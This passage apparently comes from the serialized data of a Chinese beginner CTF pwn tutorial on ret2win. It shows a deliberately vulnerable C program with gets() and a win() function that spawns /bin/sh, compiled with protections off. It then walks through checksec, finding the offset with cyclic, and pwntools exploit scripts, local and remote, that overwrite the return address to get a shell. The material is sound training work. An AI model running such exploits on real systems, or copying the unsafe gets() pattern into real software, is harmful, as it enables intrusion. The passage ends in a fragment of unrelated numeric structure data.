0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n",[52,2460,2461,2466,2471,2475,2480,2485,2490,2494,2499,2504,2509,2513,2517,2522,2527,2532,2537,2542,2547],{"__ignoreMap":102},[106,2462,2463],{"class":108,"line":109},[106,2464,2465],{},"#include \u003Cstdio.h>\n",[106,2467,2468],{"class":108,"line":115},[106,2469,2470],{},"#include \u003Cstdlib.h>\n",[106,2472,2473],{"class":108,"line":121},[106,2474,125],{"emptyLinePlaceholder":124},[106,2476,2477],{"class":108,"line":128},[106,2478,2479],{},"void win() {\n",[106,2481,2482],{"class":108,"line":134},[106,2483,2484],{},"    system(\"/bin/sh\");\n",[106,2486,2487],{"class":108,"line":140},[106,2488,2489],{},"}\n",[106,2491,2492],{"class":108,"line":146},[106,2493,125],{"emptyLinePlaceholder":124},[106,2495,2496],{"class":108,"line":151},[106,2497,2498],{},"void vuln() {\n",[106,2500,2501],{"class":108,"line":157},[106,2502,2503],{},"    char buf[32];\n",[106,2505,2506],{"class":108,"line":163},[106,2507,2508],{},"    gets(buf);\n",[106,2510,2511],{"class":108,"line":169},[106,2512,2489],{},[106,2514,2515],{"class":108,"line":174},[106,2516,125],{"emptyLinePlaceholder":124},[106,2518,2519],{"class":108,"line":180},[106,2520,2521],{},"int main() {\n",[106,2523,2524],{"class":108,"line":186},[106,2525,2526],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[106,2528,2529],{"class":108,"line":192},[106,2530,2531],{},"    puts(\"Hello, what's your name?\");\n",[106,2533,2534],{"class":108,"line":197},[106,2535,2536],{},"    vuln();\n",[106,2538,2539],{"class":108,"line":203},[106,2540,2541],{},"    puts(\"Bye!\");\n",[106,2543,2544],{"class":108,"line":770},[106,2545,2546],{},"    return 0;\n",[106,2548,2549],{"class":108,"line":775},[106,2550,2489],{},[15,2552,2553],{},"编译（关闭金丝雀和 PIE，方便入门）：",[97,2555,2557],{"className":259,"code":2556,"language":261,"meta":102,"style":102},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[52,2558,2559,2579,2585],{"__ignoreMap":102},[106,2560,2561,2564,2567,2570,2573,2576],{"class":108,"line":109},[106,2562,2563],{"class":268},"gcc",[106,2565,2566],{"class":515}," -o",[106,2568,2569],{"class":272}," vuln",[106,2571,2572],{"class":272}," vuln.c",[106,2574,2575],{"class":515}," -fno-stack-protector",[106,2577,2578],{"class":515}," -no-pie\n",[106,2580,2581],{"class":108,"line":115},[106,2582,2584],{"class":2583},"shSDL","# -fno-stack-protector：关闭栈金丝雀（canary），允许我们覆盖返回地址。\n",[106,2586,2587],{"class":108,"line":121},[106,2588,2589],{"class":2583},"# -no-pie：关闭地址随机化，win 函数地址固定，可以直接写进 payload。\n",[10,2591,2593],{"id":2592},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,2595,2596,2598],{},[316,2597,318],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,2600,2601,2603],{},[316,2602,385],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[15,2605,1203],{},[97,2607,2609],{"className":259,"code":2608,"language":261,"meta":102,"style":102},"pwn checksec ./vuln\n",[52,2610,2611],{"__ignoreMap":102},[106,2612,2613,2616,2619],{"class":108,"line":109},[106,2614,2615],{"class":268},"pwn",[106,2617,2618],{"class":272}," checksec",[106,2620,2621],{"class":272}," ./vuln\n",[15,2623,1219],{},[97,2625,2628],{"className":2626,"code":2627,"language":215,"meta":102},[213],"Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n",[52,2629,2627],{"__ignoreMap":102},[15,2631,2632],{},"只看三行：",[19,2634,2635,2647],{},[22,2636,2637],{},[25,2638,2639,2642,2644],{},[28,2640,2641],{},"行",[28,2643,1540],{},[28,2645,2646],{},"对我们意味着什么",[38,2648,2649,2662,2675],{},[25,2650,2651,2656,2659],{},[43,2652,2653],{},[52,2654,2655],{},"Stack: No canary found",[43,2657,2658],{},"没有栈金丝雀",[43,2660,2661],{},"可以直接覆盖返回地址",[25,2663,2664,2669,2672],{},[43,2665,2666],{},[52,2667,2668],{},"NX: NX enabled",[43,2670,2671],{},"栈不可执行",[43,2673,2674],{},"不能放 shellcode（本阶段先不管）",[25,2676,2677,2682,2685],{},[43,2678,2679],{},[52,2680,2681],{},"PIE: No PIE",[43,2683,2684],{},"程序地址固定",[43,2686,2687,2690],{},[52,2688,2689],{},"win"," 的地址可以直接写进 payload",[10,2692,2694],{"id":2693},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,2696,2697,2700],{},[52,2698,2699],{},"vuln"," 被调用时栈上自低到高：",[97,2702,2705],{"className":2703,"code":2704,"language":215,"meta":102},[213],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[52,2706,2704],{"__ignoreMap":102},[15,2708,2709,2710,2713],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[52,2711,2712],{},"cyclic"," 验证：",[97,2715,2717],{"className":99,"code":2716,"language":101,"meta":102,"style":102},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[52,2718,2719,2724,2728,2733,2738,2743,2748,2753,2758,2763,2768,2773,2778],{"__ignoreMap":102},[106,2720,2721],{"class":108,"line":109},[106,2722,2723],{},"from pwn import *\n",[106,2725,2726],{"class":108,"line":115},[106,2727,125],{"emptyLinePlaceholder":124},[106,2729,2730],{"class":108,"line":121},[106,2731,2732],{},"p = process('./vuln')\n",[106,2734,2735],{"class":108,"line":128},[106,2736,2737],{},"p.sendline(cyclic(200))\n",[106,2739,2740],{"class":108,"line":134},[106,2741,2742],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[106,2744,2745],{"class":108,"line":140},[106,2746,2747],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[106,2749,2750],{"class":108,"line":146},[106,2751,2752],{},"p.wait()\n",[106,2754,2755],{"class":108,"line":151},[106,2756,2757],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[106,2759,2760],{"class":108,"line":157},[106,2761,2762],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[106,2764,2765],{"class":108,"line":163},[106,2766,2767],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[106,2769,2770],{"class":108,"line":169},[106,2771,2772],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[106,2774,2775],{"class":108,"line":174},[106,2776,2777],{},"print(offset)\n",[106,2779,2780],{"class":108,"line":180},[106,2781,2782],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,2784,1219,2785,643],{},[52,2786,2787],{},"40",[10,2789,2791],{"id":2790},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[309,2793,2795],{"id":2794},"api-1elf读符号地址","API 1：ELF——读符号地址",[97,2797,2799],{"className":99,"code":2798,"language":101,"meta":102,"style":102},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[52,2800,2801,2805,2809,2814,2819,2824,2829],{"__ignoreMap":102},[106,2802,2803],{"class":108,"line":109},[106,2804,2723],{},[106,2806,2807],{"class":108,"line":115},[106,2808,125],{"emptyLinePlaceholder":124},[106,2810,2811],{"class":108,"line":121},[106,2812,2813],{},"elf = ELF('./vuln')\n",[106,2815,2816],{"class":108,"line":128},[106,2817,2818],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[106,2820,2821],{"class":108,"line":134},[106,2822,2823],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[106,2825,2826],{"class":108,"line":140},[106,2827,2828],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[106,2830,2831],{"class":108,"line":146},[106,2832,2833],{},"print(hex(elf.symbols['win']))\n",[15,2835,1219],{},[97,2837,2840],{"className":2838,"code":2839,"language":215,"meta":102},[213],"0x401176\n",[52,2841,2839],{"__ignoreMap":102},[309,2843,2845],{"id":2844},"api-2process启动程序","API 2：process——启动程序",[97,2847,2848],{"className":99,"code":2732,"language":101,"meta":102,"style":102},[52,2849,2850],{"__ignoreMap":102},[106,2851,2852],{"class":108,"line":109},[106,2853,2732],{},[15,2855,2856,2857,1311,2860,2863],{},"启动本地进程，之后用 ",[52,2858,2859],{},"p.sendline()",[52,2861,2862],{},"p.recvuntil()"," 交互。远程题目改成：",[97,2865,2867],{"className":99,"code":2866,"language":101,"meta":102,"style":102},"p = remote('1.2.3.4', 10001)\n",[52,2868,2869],{"__ignoreMap":102},[106,2870,2871],{"class":108,"line":109},[106,2872,2866],{},[309,2874,2876],{"id":2875},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[97,2878,2880],{"className":99,"code":2879,"language":101,"meta":102,"style":102},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[52,2881,2882,2887,2892,2897,2902,2907,2912,2917],{"__ignoreMap":102},[106,2883,2884],{"class":108,"line":109},[106,2885,2886],{},"payload = b'A' * 40 + p64(0x401176)\n",[106,2888,2889],{"class":108,"line":115},[106,2890,2891],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[106,2893,2894],{"class":108,"line":121},[106,2895,2896],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[106,2898,2899],{"class":108,"line":128},[106,2900,2901],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[106,2903,2904],{"class":108,"line":134},[106,2905,2906],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[106,2908,2909],{"class":108,"line":140},[106,2910,2911],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[106,2913,2914],{"class":108,"line":146},[106,2915,2916],{},"p.sendline(payload)\n",[106,2918,2919],{"class":108,"line":151},[106,2920,2921],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,2923,2924,2927,2928,2931],{},[52,2925,2926],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[52,2929,2930],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,2933,2935],{"id":2934},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,2937,2938,2940],{},[316,2939,318],{},"：把前三步串成完整 exploit。",[15,2942,2943,2945],{},[316,2944,385],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[97,2947,2949],{"className":99,"code":2948,"language":101,"meta":102,"style":102},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[52,2950,2951,2955,2959,2963,2967,2971,2976,2981,2986,2991,2995,3000,3005,3010],{"__ignoreMap":102},[106,2952,2953],{"class":108,"line":109},[106,2954,2723],{},[106,2956,2957],{"class":108,"line":115},[106,2958,125],{"emptyLinePlaceholder":124},[106,2960,2961],{"class":108,"line":121},[106,2962,2813],{},[106,2964,2965],{"class":108,"line":128},[106,2966,2732],{},[106,2968,2969],{"class":108,"line":134},[106,2970,125],{"emptyLinePlaceholder":124},[106,2972,2973],{"class":108,"line":140},[106,2974,2975],{},"p.recvuntil(b'name?')\n",[106,2977,2978],{"class":108,"line":146},[106,2979,2980],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[106,2982,2983],{"class":108,"line":151},[106,2984,2985],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[106,2987,2988],{"class":108,"line":157},[106,2989,2990],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[106,2992,2993],{"class":108,"line":163},[106,2994,2916],{},[106,2996,2997],{"class":108,"line":169},[106,2998,2999],{},"# 触发溢出：覆盖返回地址为 win。\n",[106,3001,3002],{"class":108,"line":174},[106,3003,3004],{},"p.interactive()\n",[106,3006,3007],{"class":108,"line":180},[106,3008,3009],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[106,3011,3012],{"class":108,"line":186},[106,3013,3014],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,3016,3017],{},"预期结果：",[97,3019,3022],{"className":3020,"code":3021,"language":215,"meta":102},[213],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[52,3023,3021],{"__ignoreMap":102},[15,3025,3026,3027,3030,3031,3034],{},"程序跳到了 ",[52,3028,3029],{},"win()","，执行 ",[52,3032,3033],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[10,3036,3038],{"id":3037},"八必学工具","八、必学工具",[19,3040,3041,3053],{},[22,3042,3043],{},[25,3044,3045,3047,3050],{},[28,3046,2075],{},[28,3048,3049],{},"3 个核心功能",[28,3051,3052],{},"示例",[38,3054,3055,3082,3095],{},[25,3056,3057,3060,3079],{},[43,3058,3059],{},"pwntools",[43,3061,3062,3065,3066,2153,3068,3071,3072,3074,3075,3078],{},[52,3063,3064],{},"ELF()"," 读符号、",[52,3067,2712],{},[52,3069,3070],{},"cyclic_find"," 找偏移、",[52,3073,2926],{},"+",[52,3076,3077],{},"sendline"," 构造发送",[43,3080,3081],{},"见上文",[25,3083,3084,3087,3090],{},[43,3085,3086],{},"checksec",[43,3088,3089],{},"查看栈保护、NX、PIE",[43,3091,3092],{},[52,3093,3094],{},"pwn checksec ./vuln",[25,3096,3097,3100,3103],{},[43,3098,3099],{},"GDB（+pwndbg）",[43,3101,3102],{},"断点、看栈、单步",[43,3104,3105,1311,3108,1311,3111],{},[52,3106,3107],{},"break vuln",[52,3109,3110],{},"x/20gx $rsp",[52,3112,3113],{},"continue",[10,3115,3117],{"id":3116},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,3119,2164,3120,3123,3124,643],{},[52,3121,3122],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[52,3125,2699],{},[15,3127,3128],{},"第一步，本地验证：",[97,3130,3132],{"className":259,"code":3131,"language":261,"meta":102,"style":102},"python3 exploit.py\n",[52,3133,3134],{"__ignoreMap":102},[106,3135,3136,3139],{"class":108,"line":109},[106,3137,3138],{"class":268},"python3",[106,3140,3141],{"class":272}," exploit.py\n",[15,3143,3144,3145,3148,3149,3152],{},"第二步，把 ",[52,3146,3147],{},"process('./vuln')"," 改成 ",[52,3150,3151],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,3154,3155,3157],{},[316,3156,318],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,3159,3160,3162],{},[316,3161,1681],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[97,3164,3166],{"className":99,"code":3165,"language":101,"meta":102,"style":102},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[52,3167,3168,3172,3176,3180,3184,3189,3194,3198,3202,3206,3211,3216],{"__ignoreMap":102},[106,3169,3170],{"class":108,"line":109},[106,3171,2723],{},[106,3173,3174],{"class":108,"line":115},[106,3175,125],{"emptyLinePlaceholder":124},[106,3177,3178],{"class":108,"line":121},[106,3179,2813],{},[106,3181,3182],{"class":108,"line":128},[106,3183,2866],{},[106,3185,3186],{"class":108,"line":134},[106,3187,3188],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[106,3190,3191],{"class":108,"line":140},[106,3192,3193],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[106,3195,3196],{"class":108,"line":146},[106,3197,125],{"emptyLinePlaceholder":124},[106,3199,3200],{"class":108,"line":151},[106,3201,2990],{},[106,3203,3204],{"class":108,"line":157},[106,3205,2916],{},[106,3207,3208],{"class":108,"line":163},[106,3209,3210],{},"p.sendline(b'cat flag')\n",[106,3212,3213],{"class":108,"line":169},[106,3214,3215],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[106,3217,3218],{"class":108,"line":174},[106,3219,3004],{},[15,3221,1219],{},[97,3223,3226],{"className":3224,"code":3225,"language":215,"meta":102},[213],"flag{ret2win}\n",[52,3227,3225],{"__ignoreMap":102},[10,3229,3231],{"id":3230},"十小结","十、小结",[15,3233,3234,3235,3237,3238,3240,3241,3243],{},"Pwn 入门主线：",[52,3236,3086],{}," 判断能不能直接打 → ",[52,3239,2712],{}," 确定偏移 → ",[52,3242,2926],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1050,3245,3246],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":102,"searchDepth":115,"depth":115,"links":3248},[3249,3250,3251,3252,3253,3254,3255,3256,3257,3258],{"id":2401,"depth":121,"text":2402},{"id":255,"depth":121,"text":256},{"id":2448,"depth":121,"text":2449},{"id":2592,"depth":121,"text":2593},{"id":2693,"depth":121,"text":2694},{"id":2790,"depth":121,"text":2791},{"id":2934,"depth":121,"text":2935},{"id":3037,"depth":121,"text":3038},{"id":3116,"depth":121,"text":3117},{"id":3230,"depth":121,"text":3231},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1066,"image":3261,"alt":3262,"tags":3263,"published":124},"/blogs-img/blog2.png","CTF Pwn 入门",[1070,2615,1072],"/blogs/ctf-pwn-overview",{"title":2396,"description":3259},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":4,"title":5,"body":3269,"description":1063,"extension":1064,"meta":4043,"navigation":124,"ogImage":1067,"path":1073,"seo":4045,"stem":1075,"__hash__":1076},{"type":7,"value":3270,"toc":4033},[3271,3273,3275,3327,3329,3401,3403,3408,3410,3430,3432,3437,3439,3455,3460,3462,3468,3470,3474,3510,3512,3517,3519,3523,3531,3591,3593,3598,3602,3604,3608,3632,3634,3636,3688,3690,3695,3697,3699,3701,3703,3707,3711,3739,3741,3841,3843,3848,3854,3856,3858,3860,3890,3892,3916,3918,3920,3944,3946,3951,3953,3955,3960,3962,3968,4020,4022,4027,4029,4031],[10,3272,13],{"id":12},[15,3274,17],{},[19,3276,3277,3287],{},[22,3278,3279],{},[25,3280,3281,3283,3285],{},[28,3282,30],{},[28,3284,33],{},[28,3286,36],{},[38,3288,3289,3301,3315],{},[25,3290,3291,3293,3295],{},[43,3292,45],{},[43,3294,48],{},[43,3296,3297,55,3299],{},[52,3298,54],{},[52,3300,58],{},[25,3302,3303,3305,3309],{},[43,3304,63],{},[43,3306,66,3307,70],{},[52,3308,69],{},[43,3310,3311,55,3313],{},[52,3312,75],{},[52,3314,58],{},[25,3316,3317,3319,3321],{},[43,3318,82],{},[43,3320,85],{},[43,3322,3323,55,3325],{},[52,3324,90],{},[52,3326,58],{},[15,3328,95],{},[97,3330,3331],{"className":99,"code":100,"language":101,"meta":102,"style":102},[52,3332,3333,3337,3341,3345,3349,3353,3357,3361,3365,3369,3373,3377,3381,3385,3389,3393,3397],{"__ignoreMap":102},[106,3334,3335],{"class":108,"line":109},[106,3336,112],{},[106,3338,3339],{"class":108,"line":115},[106,3340,118],{},[106,3342,3343],{"class":108,"line":121},[106,3344,125],{"emptyLinePlaceholder":124},[106,3346,3347],{"class":108,"line":128},[106,3348,131],{},[106,3350,3351],{"class":108,"line":134},[106,3352,137],{},[106,3354,3355],{"class":108,"line":140},[106,3356,143],{},[106,3358,3359],{"class":108,"line":146},[106,3360,125],{"emptyLinePlaceholder":124},[106,3362,3363],{"class":108,"line":151},[106,3364,154],{},[106,3366,3367],{"class":108,"line":157},[106,3368,160],{},[106,3370,3371],{"class":108,"line":163},[106,3372,166],{},[106,3374,3375],{"class":108,"line":169},[106,3376,125],{"emptyLinePlaceholder":124},[106,3378,3379],{"class":108,"line":174},[106,3380,177],{},[106,3382,3383],{"class":108,"line":180},[106,3384,183],{},[106,3386,3387],{"class":108,"line":186},[106,3388,189],{},[106,3390,3391],{"class":108,"line":192},[106,3392,125],{"emptyLinePlaceholder":124},[106,3394,3395],{"class":108,"line":197},[106,3396,200],{},[106,3398,3399],{"class":108,"line":203},[106,3400,206],{},[15,3402,209],{},[97,3404,3406],{"className":3405,"code":214,"language":215,"meta":102},[213],[52,3407,214],{"__ignoreMap":102},[15,3409,220],{},[97,3411,3412],{"className":99,"code":223,"language":101,"meta":102,"style":102},[52,3413,3414,3418,3422,3426],{"__ignoreMap":102},[106,3415,3416],{"class":108,"line":109},[106,3417,230],{},[106,3419,3420],{"class":108,"line":115},[106,3421,125],{"emptyLinePlaceholder":124},[106,3423,3424],{"class":108,"line":121},[106,3425,239],{},[106,3427,3428],{"class":108,"line":128},[106,3429,244],{},[15,3431,209],{},[97,3433,3435],{"className":3434,"code":250,"language":215,"meta":102},[213],[52,3436,250],{"__ignoreMap":102},[10,3438,256],{"id":255},[97,3440,3441],{"className":259,"code":260,"language":261,"meta":102,"style":102},[52,3442,3443],{"__ignoreMap":102},[106,3444,3445,3447,3449,3451,3453],{"class":108,"line":109},[106,3446,269],{"class":268},[106,3448,273],{"class":272},[106,3450,276],{"class":272},[106,3452,279],{"class":272},[106,3454,282],{"class":272},[15,3456,285,3457],{},[287,3458,292],{"href":289,"rel":3459},[291],[10,3461,296],{"id":295},[15,3463,299,3464,303,3466,307],{},[52,3465,302],{},[52,3467,306],{},[309,3469,312],{"id":311},[15,3471,3472,319],{},[316,3473,318],{},[97,3475,3476],{"className":99,"code":322,"language":101,"meta":102,"style":102},[52,3477,3478,3482,3486,3490,3494,3498,3502,3506],{"__ignoreMap":102},[106,3479,3480],{"class":108,"line":109},[106,3481,329],{},[106,3483,3484],{"class":108,"line":115},[106,3485,334],{},[106,3487,3488],{"class":108,"line":121},[106,3489,125],{"emptyLinePlaceholder":124},[106,3491,3492],{"class":108,"line":128},[106,3493,343],{},[106,3495,3496],{"class":108,"line":134},[106,3497,348],{},[106,3499,3500],{"class":108,"line":140},[106,3501,353],{},[106,3503,3504],{"class":108,"line":146},[106,3505,358],{},[106,3507,3508],{"class":108,"line":151},[106,3509,363],{},[15,3511,209],{},[97,3513,3515],{"className":3514,"code":369,"language":215,"meta":102},[213],[52,3516,369],{"__ignoreMap":102},[309,3518,375],{"id":374},[15,3520,3521,380],{},[316,3522,318],{},[15,3524,3525,386,3527,390,3529,394],{},[316,3526,385],{},[52,3528,389],{},[52,3530,393],{},[97,3532,3533],{"className":99,"code":397,"language":101,"meta":102,"style":102},[52,3534,3535,3539,3543,3547,3551,3555,3559,3563,3567,3571,3575,3579,3583,3587],{"__ignoreMap":102},[106,3536,3537],{"class":108,"line":109},[106,3538,404],{},[106,3540,3541],{"class":108,"line":115},[106,3542,409],{},[106,3544,3545],{"class":108,"line":121},[106,3546,125],{"emptyLinePlaceholder":124},[106,3548,3549],{"class":108,"line":128},[106,3550,418],{},[106,3552,3553],{"class":108,"line":134},[106,3554,423],{},[106,3556,3557],{"class":108,"line":140},[106,3558,428],{},[106,3560,3561],{"class":108,"line":146},[106,3562,433],{},[106,3564,3565],{"class":108,"line":151},[106,3566,438],{},[106,3568,3569],{"class":108,"line":157},[106,3570,443],{},[106,3572,3573],{"class":108,"line":163},[106,3574,448],{},[106,3576,3577],{"class":108,"line":169},[106,3578,453],{},[106,3580,3581],{"class":108,"line":174},[106,3582,458],{},[106,3584,3585],{"class":108,"line":180},[106,3586,463],{},[106,3588,3589],{"class":108,"line":186},[106,3590,468],{},[15,3592,209],{},[97,3594,3596],{"className":3595,"code":474,"language":215,"meta":102},[213],[52,3597,474],{"__ignoreMap":102},[15,3599,479,3600,482],{},[52,3601,389],{},[309,3603,486],{"id":485},[15,3605,489,3606,493],{},[52,3607,492],{},[97,3609,3610],{"className":259,"code":496,"language":261,"meta":102,"style":102},[52,3611,3612,3620],{"__ignoreMap":102},[106,3613,3614,3616,3618],{"class":108,"line":109},[106,3615,503],{"class":268},[106,3617,273],{"class":272},[106,3619,508],{"class":272},[106,3621,3622,3624,3626,3628,3630],{"class":108,"line":115},[106,3623,492],{"class":268},[106,3625,516],{"class":515},[106,3627,519],{"class":515},[106,3629,522],{"class":515},[106,3631,525],{"class":272},[10,3633,529],{"id":528},[15,3635,532],{},[97,3637,3638],{"className":99,"code":535,"language":101,"meta":102,"style":102},[52,3639,3640,3644,3648,3652,3656,3660,3664,3668,3672,3676,3680,3684],{"__ignoreMap":102},[106,3641,3642],{"class":108,"line":109},[106,3643,542],{},[106,3645,3646],{"class":108,"line":115},[106,3647,547],{},[106,3649,3650],{"class":108,"line":121},[106,3651,552],{},[106,3653,3654],{"class":108,"line":128},[106,3655,557],{},[106,3657,3658],{"class":108,"line":134},[106,3659,562],{},[106,3661,3662],{"class":108,"line":140},[106,3663,567],{},[106,3665,3666],{"class":108,"line":146},[106,3667,572],{},[106,3669,3670],{"class":108,"line":151},[106,3671,577],{},[106,3673,3674],{"class":108,"line":157},[106,3675,582],{},[106,3677,3678],{"class":108,"line":163},[106,3679,125],{"emptyLinePlaceholder":124},[106,3681,3682],{"class":108,"line":169},[106,3683,591],{},[106,3685,3686],{"class":108,"line":174},[106,3687,596],{},[15,3689,209],{},[97,3691,3693],{"className":3692,"code":602,"language":215,"meta":102},[213],[52,3694,602],{"__ignoreMap":102},[10,3696,608],{"id":607},[309,3698,612],{"id":611},[15,3700,615],{},[309,3702,619],{"id":618},[15,3704,3705,624],{},[316,3706,318],{},[15,3708,3709,629],{},[316,3710,385],{},[631,3712,3713,3719,3725,3731],{},[634,3714,636,3715,639,3717,643],{},[52,3716,15],{},[52,3718,642],{},[634,3720,646,3721,649,3723,643],{},[52,3722,287],{},[52,3724,652],{},[634,3726,655,3727,649,3729,643],{},[52,3728,658],{},[52,3730,661],{},[634,3732,664,3733,668,3735,672,3737,643],{},[52,3734,667],{},[52,3736,671],{},[52,3738,675],{},[309,3740,679],{"id":678},[97,3742,3743],{"className":99,"code":682,"language":101,"meta":102,"style":102},[52,3744,3745,3749,3753,3757,3761,3765,3769,3773,3777,3781,3785,3789,3793,3797,3801,3805,3809,3813,3817,3821,3825,3829,3833,3837],{"__ignoreMap":102},[106,3746,3747],{"class":108,"line":109},[106,3748,689],{},[106,3750,3751],{"class":108,"line":115},[106,3752,694],{},[106,3754,3755],{"class":108,"line":121},[106,3756,699],{},[106,3758,3759],{"class":108,"line":128},[106,3760,704],{},[106,3762,3763],{"class":108,"line":134},[106,3764,709],{},[106,3766,3767],{"c